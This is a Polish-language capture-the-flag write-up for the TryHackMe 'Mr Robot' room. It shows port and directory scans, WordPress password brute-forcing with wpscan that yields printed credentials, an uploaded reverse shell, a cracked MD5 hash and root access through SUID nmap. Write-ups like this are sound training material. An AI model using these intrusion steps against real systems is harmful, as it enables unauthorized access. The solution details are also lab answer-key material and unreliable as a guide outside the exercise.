Mr Robot
Rozwiązanie pokoju mrrobot z platformy https://tryhackme.com/.
Podstawowe skanowanie:
nmap scan
1
2
3
4
5
6
7
8
9
10
11
12
└─$ nmap -sV 10.10.110.183
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 12:52 EDT
Nmap scan report for 10.10.110.183
Host is up (0.043s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.58 seconds
gobuster scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
└─$ gobuster dir -u 10.10.110.183 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.110.183
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 213]
/.htaccess (Status: 403) [Size: 218]
/.htpasswd (Status: 403) [Size: 218]
/0 (Status: 301) [Size: 0] [--> http://10.10.110.183/0/]
/admin (Status: 301) [Size: 235] [--> http://10.10.110.183/admin/]
/atom (Status: 301) [Size: 0] [--> http://10.10.110.183/feed/atom/]
/audio (Status: 301) [Size: 235] [--> http://10.10.110.183/audio/]
/blog (Status: 301) [Size: 234] [--> http://10.10.110.183/blog/]
/css (Status: 301) [Size: 233] [--> http://10.10.110.183/css/]
/dashboard (Status: 302) [Size: 0] [--> http://10.10.110.183/wp-admin/]
/favicon.ico (Status: 200) [Size: 0]
/feed (Status: 301) [Size: 0] [--> http://10.10.110.183/feed/]
/images (Status: 301) [Size: 236] [--> http://10.10.110.183/images/]
/Image (Status: 301) [Size: 0] [--> http://10.10.110.183/Image/]
/image (Status: 301) [Size: 0] [--> http://10.10.110.183/image/]
/index.html (Status: 200) [Size: 1188]
/index.php (Status: 301) [Size: 0] [--> http://10.10.110.183/]
/intro (Status: 200) [Size: 516314]
/js (Status: 301) [Size: 232] [--> http://10.10.110.183/js/]
/license (Status: 200) [Size: 309]
/login (Status: 302) [Size: 0] [--> http://10.10.110.183/wp-login.php]
/page1 (Status: 301) [Size: 0] [--> http://10.10.110.183/]
/phpmyadmin (Status: 403) [Size: 94]
/readme (Status: 200) [Size: 64]
/rdf (Status: 301) [Size: 0] [--> http://10.10.110.183/feed/rdf/]
/robots (Status: 200) [Size: 41]
/robots.txt (Status: 200) [Size: 41]
/rss (Status: 301) [Size: 0] [--> http://10.10.110.183/feed/]
/rss2 (Status: 301) [Size: 0] [--> http://10.10.110.183/feed/]
/sitemap (Status: 200) [Size: 0]
/sitemap.xml (Status: 200) [Size: 0]
/video (Status: 301) [Size: 235] [--> http://10.10.110.183/video/]
/wp-admin (Status: 301) [Size: 238] [--> http://10.10.110.183/wp-admin/]
/wp-content (Status: 301) [Size: 240] [--> http://10.10.110.183/wp-content/]
/wp-config (Status: 200) [Size: 0]
/wp-includes (Status: 301) [Size: 241] [--> http://10.10.110.183/wp-includes/]
/wp-cron (Status: 200) [Size: 0]
/wp-links-opml (Status: 200) [Size: 227]
/wp-load (Status: 200) [Size: 0]
/wp-login (Status: 200) [Size: 2671]
/wp-settings (Status: 500) [Size: 0]
/wp-signup (Status: 302) [Size: 0] [--> http://10.10.110.183/wp-login.php?action=register]
/wp-mail (Status: 500) [Size: 3064]
/xmlrpc.php (Status: 405) [Size: 42]
/xmlrpc (Status: 405) [Size: 42]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
Standardowo sprawdziłem czy plik robots.txt
istnieje, jak często się zdarza tak i tutaj plik ten istnieje i zawiera następujące informacje:
znajduje się w nazwa zasoby zawierająca pierwszą flagę key-1-of-3.txt
oraz jakiś słownik, zapisałem go na swoim komputerze. Analizując wyniki z gobuster zauważyłem panel logowania:
1
/login (Status: 302) [Size: 0] [--> http://10.10.110.183/wp-login.php]
korzystając z narzędzia takiego jak Hydra lub BurpSuite można dokonać enumeracji użytkowników. Zdecydowałem się na wykorzystanie BurpSuite z zainstalowanym rozszerzeniem TurboIntruder pozwalającym wysłać wiele requestów w krótkim czasie, po chwili nazwa użytkownika została znaleziona:
w taki sam sposób chciałem znaleźć hasło, jednak za długo wszystko trwało i postanowiłem spróbować narzędzia wpscan:
1
wpscan --url 10.10.110.183 --passwords fsocity.dic --usernames Elliot -t 35
jednak nadal wydajność nie była zadowalająca, przyjrzałem się bliżej liscie którą znalazłem - powód okazał się prozaiczny, lista zawierała wiele duplikatów, usunąłem je poleceniem:
1
sort fsocity.dic | uniq > pass.txt
i ponownie skorzystałem z narzędzia wpscan:
1
wpscan --url 10.10.110.183 --passwords pass.txt --usernames Elliot -t 35
po chwili dane do logowania zostały znalezione:
1
2
3
4
5
6
[SUCCESS] - Elliot / ER28-0652
All Found
Progress Time: 00:00:23 <=============================== > (12 / 22) 54.54% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: Elliot, Password: ER28-0652
po zalogowaniu sie do panelu postanowiłem wykorzystać reverseshell aby uzyskać połączenie z maszyną. Ze strony pentestmonkey.net pobrałem revershell i wrzuciłem go na stronę, odpowiednio go zmodyfikowałem i uruchomiłem netcata. Po połączeniu się z maszyną zadbałem o stabilniejszą konsolę:
1
python -c "import pty;pty.spawn('/bin/bash')"
a następnie przeszedłem do lokalizacji /home/robot
gdzie znalazłem:
cóż, pliku z flagą nie mogę odczytać (brak uprawnień), ale mogę odczytać password.raw-md5
, zawartość:
1
robot:c3fcd3d76192e4007dfb496cca67e13b
prawdopodobnie jest to hash MD5 hasła użytkownika robot, szybkie zapytanie w wyszukiwarce i hasło znalezione:
1
abcdefghijklmnopqrstuvwxyz
hasło znalezione, użytkownik zmieniony, można odczytać następną flagę. Chwilę zapoznawałem się z systemem i odkryłem, że nmap ma ustawiony bit SUID:
1
-rwsr-xr-x 1 root root 504736 Nov 13 2015 nmap
korzystając z tego uzyskałem dostęp do konta root i odczytałem ostatnią flagę.